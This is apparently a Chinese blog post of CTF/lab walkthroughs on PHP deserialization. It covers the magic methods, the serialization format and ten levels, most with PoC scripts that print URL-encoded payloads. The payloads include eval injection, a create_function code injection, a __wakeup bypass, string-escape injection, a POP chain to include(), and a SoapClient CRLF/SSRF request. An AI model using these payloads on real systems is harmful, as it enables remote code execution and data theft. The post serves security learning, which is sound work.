反序列化

本文最后更新于 2025年5月8日 晚上

反序列化

php魔术函数

1
2
3
4
5
6
7
8
9
10
11
12
__construct()            //类的构造函数,创建对象时触发
__destruct() //类的析构函数,对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
__set() //在给不可访问属性赋值时触发
__isset() //当对不可访问属性调用 isset() 或 empty() 时触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当尝试以调用函数的方式调用一个对象时触发
__sleep() //执行serialize()时,先会调用这个方法
__wakeup() //执行unserialize()时,先会调用这个方法
__toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用

serialize() 函数会检查类中是否存在一个魔术方法。如果存在,该方法会先被调用,然后才执行序列化操作。

我们需要重点关注一下5个魔术方法,所以再强调一下:

__construct:构造函数,当一个对象创建时调用

__destruct:析构函数,当一个对象被销毁时调用

__toString:当一个对象被当作一个字符串时使用

__sleep:在对象序列化的时候调用

__wakeup:对象重新醒来,即由二进制串重新组成一个对象的时候(在一个对象被反序列化时调用)

从序列化到反序列化这几个函数的执行过程是:

__construct() ->__sleep() -> __wakeup() -> __toString() -> __destruct()

__toString()这个魔术方法能触发的因素太多,所以有必要列一下:

1
2
3
4
5
6
7
8
1.  echo($obj)/print($obj)打印时会触发 
2. 反序列化对象与字符串连接时
3. 反序列化对象参与格式化字符串时
4. 反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
5. 反序列化对象参与格式化SQL语句,绑定参数时
6. 反序列化对象在经过php字符串处理函数,如strlen()、strops()、strcmp()、addslashes()等
7. 在in_array()方法中,第一个参数时反序列化对象,第二个参数的数组中有__toString()返回的字符串的时候__toString()会被调用
8. 反序列化的对象作为class_exists()的参数的时候

序列化格式:

1
2
3
4
5
6
7
8
9
10
11
12
13
a - array 数组型
b - boolean 布尔型
d - double 浮点型
i - integer 整数型
o - common object 共同对象
r - objec reference 对象引用
s - non-escaped binary string 非转义的二进制字符串
S - escaped binary string 转义的二进制字符串
C - custom object 自定义对象
O - class 对象
N - null 空
R - pointer reference 指针引用
U - unicode string Unicode 编码的字符串

PHP序列化

有时需要把一个对象在网络上传输,为了方便传输,可以把整个对象转化为二进制串,等到达另一端时,再还原为原来的对象,这个过程称之为串行化(也叫序列化)。

PHP序列化:把对象转化为二进制的字符串,使用serialize()函数
PHP反序列化:把对象转化的二进制字符串再转化为对象,使用unserialize()函数

实战

level1

简单的反序列化,输入恶意序列化数据后,反序列化被eval执行即可

poc
1
2
3
4
5
6
7
8
9
<?
class a
{
var $act="show_source('flag.php');";
}
$b=new a();
echo urlencode(serialize($b));
?>
//O%3A1%3A"a"%3A1%3A%7Bs%3A3%3A"act"%3Bs%3A24%3A"show_source%28%27flag.php%27%29%3B"%3B%7D

level2

根据代码逻辑,要让user=daydream,pass=ok

poc
1
2
3
4
5
6
7
8
9
10
<?
class mylogin{
var $user="daydream";
var $pass="ok";

}
$b=new mylogin();
echo urlencode(serialize($b));
?>
//param=O%3A7%3A"mylogin"%3A2%3A%7Bs%3A4%3A"user"%3Bs%3A8%3A"daydream"%3Bs%3A4%3A"pass"%3Bs%3A2%3A"ok"%3B%7D

level3

image-20250324215348637

思路与方法level2相同,传参方式变为cookie

level4

image-20250324215614229

这里介绍一个php的Array的特性,当反序列化array内包裹的第一个值是对象,第一个值是对象的方法时,反序列化后会调用该对象的方法

另外,介绍以下create_function函数,这个函数可以创建一个函数

1
2
create_function(string $arg,string $code),第一个参数是传入被创建函数的参数,第二个参数是被创建函数具体功能的代码
//create_function(a,b,log(a)+log(b))=function xx(a,b){log(a)+log(b)}

这里func里有__destruct方法,且有反序列化

可以通过这个反序列化把create_function插入getflag中,然后传入恶意代码参数,从而执行getflag命令

poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}

class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}

$m=new GetFlag();
$n=new func();
$m->action="create_function";
$m->code="}show_source('flag.php');//";
$n->key=serialize(array($m,"get_flag"));
echo urlencode(serialize($n));
?>

这里实际上就是执行

1
2
3
4
5
6
7
8
class GetFlag
{ public $code;
public $action;
public function get_flag(){
crate_function(){}
show_source('flag.phg');//
}
}

level5

image-20250325221108775

这里是关于__wake_up魔术方法的利用

当在序列化后的字符串中类的数值比实践个数数组大的时候就不会触发__wakeup

先给出poc

poc
1
2
3
4
5
6
7
8
9
10
<?php
class secret{
var $file='flag.php';
}

$pa=new secret();
echo serialize($pa);//O:6:"secret":1:{s:4:"file";s:8:"flag.php";}这里正常反序列化后的属性是1
echo urlencode('O:+6:"secret":2:{s:4:"file";s:8:"flag.php";}');//这里我们人工改成2,并且因为原码有正则过滤,o、c后面不能有数字,多添加个符号饶过它
?>

level6

image-20250326211730625

这里的对象有一个私有属性

private、public、protect在序列化时候有影响

1
2
3
Public(公有):被序列化时属性值为:属性名
Protected(受保护):被序列化时属性值为:\x00*\x00属性名 or %00*%00属性名
Private(私有):被序列化时属性值为:\x00类名\x00属性 or %00类名%00属性
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$pa=new secret("show_source('flag.php');");
echo serialize($pa),"\n";
//O:6:"secret":1:{s:12:"secretcomm";s:24:"show_source('flag.php');";}
因为源码对%过滤了,所以可以用\00绕过
知识:小写 s:表示对象的属性名是一个普通的字符串。
大写 S:表示对象的属性名是一个被 null 字节(\0)填充的字符串,也称为一个带有命名空间的属性名。这在 PHP 中通常用于类的私有(private)或受保护(protected)属性,因为这些属性在序列化时会被重命名,以 避免命名冲突。
所以最终payload是2
//O:6:"secret":1:{S:12:"\00secret\00comm";s:24:"show_source('flag.php');";}

level7

image-20250327220301612

这里介绍以下__call方法,当调用对象中没有的方法时就会调用call方法,call触发后会把该不存在的方法名以参数的形式传入__call方法中,因为存在有私有属性,序列化后需要调整s的大小写以及\00 or %00符号

poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class you
{
private $body;
private $pro;
function __construct($flag){
$this->body=$flag;
$this->pro='youname';
}

}
class my
{
public $name='myname';
}
$x=new my();
$y=new you($x);
echo serialize($y);
//O:3:"you":2:{S:9:"%00you%00body";O:2:"my":1:{s:4:"name";s:6:"myname";}S:8:"%00you%00pro";s:8:"yourname";}

level8

image-20250329221046870

这里当pass为escaping时即可拿到flag

这里是增量逃逸

假设一个正常的序列化字符串为

1
O:4:"test":2:{s:4:"user";s:3:"aaa";s:4:"pass";s:8:"daydream";}

那么如果我们构造user=user=aaa”;s:4:”pass”;s:8:”escaping”;}

那么序列化字符串就会变成

1
O:4:"test":2:{s:4:"user";s:3:"aaa";s:4:"pass";s:8:"escaping";}";s:4:"pass";s:8:"daydream";}

这时在反序列化时就会在恶意构造的闭合停止,接着对每个属性的个数数值进行检查,如果数量对不上会报错

我们需要想办法对上数量,在源码中是可以用其中的替换操作实现

poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}
$a=new test('phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}');
//$a=new test('1'); O:4:"test":2:{s:4:"user";s:1:"1";s:4:"pass";s:8:"daydream";}
//逃逸内容:
//";s:4:"pass";s:8:"escaping";}
//计算需要链:
//phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp";s:4:"pass";s:8:"escaping";}
$param=serialize($a);
echo $param,"\n";

$profile=unserialize(filter($param));
echo $profile->pass,"\n";
if ($profile->pass=='escaping'){
echo 1;
}
?>

level9

image-20250330213048607

魔术方法

1
2
3
4
5
6
7
8
9
__invoke()    当一个类被当作函数执行时调用此方法。

__construct 在创建对象时调用此方法

__toString() 在一个类被当作字符串处理时调用此方法

__wakeup() 当反序列化恢复成对象时调用此方法

__get() 当读取不可访问或不存在的属性的值会被调用

这道题需要理一下思路

首先最终的目的肯定是Modifer类里面的append函数,这个函数受制于__invoke函数,所以要想办法调用__invoke,条件是类被当作函数执行,那么需要利用Test类里的__get方法

它的条件是读取类里面没有的属性时会触发,那么就要利用__toString,而__toString 的触发条件是类当作属性操作,那么就需要用到__wakeup方法,因此思路就是

1
2
__wakeup-->$this->source=Show-->__toString-->str->source(令str为没有source属性的类即可)
-->__get-->$function=Modifier类-->__invoke方法-->append
poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
class Modifier {
private $var="flag.php";
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p; //这是个调用函数p的方式
return $function();
}
}
$a=new Modifier();
$b=new show();
$c=new Test();

$b->source=$b; //把show类当成字符串赋值给属性source从而触发to_string
$b->source->str=$c; //b类中的source类中的str赋值为Test类,当调用该类中不存在的属性source时触发get
$c->p=$a;//p是Modifier类,当这个类被当成函数调用的时候就会触发该类内的invoke

echo urlencode(serialize($b));//序列化的是$b,$b中没有construct所以不会被触发
?>

php原生类反序列化

就是在没有魔术方法的情况下,使用php原生类中的一些内置的魔术方法

level10

image-20250430201150185

调用一个不存在的方法,会触发__call

__call的原生类有

SoapClient::__call

1
2
3
4
5
6
7
8
<?php
$post_data='pass=password';
$data_len=strlen($post_data);
$a = new SoapClient(null,array('location'=>'http://shiyan/SER/level10/flag.php','user_agent'=>'admin^^Content-Type: application/x-www-form-urlencoded^^Content-Length: '.$data_len.'^^^^'.$post_data,'uri'=>'bbba'));
$b = serialize($a);
$b = str_replace('^^',"\r\n",$b);//将^^改为\r\n
$b = str_replace('&','&',$b);
echo urlencode($b);

php框架类反序列化


反序列化
http://example.com/2025/03/21/php反序列化/
作者
清风
发布于
2025年3月21日
许可协议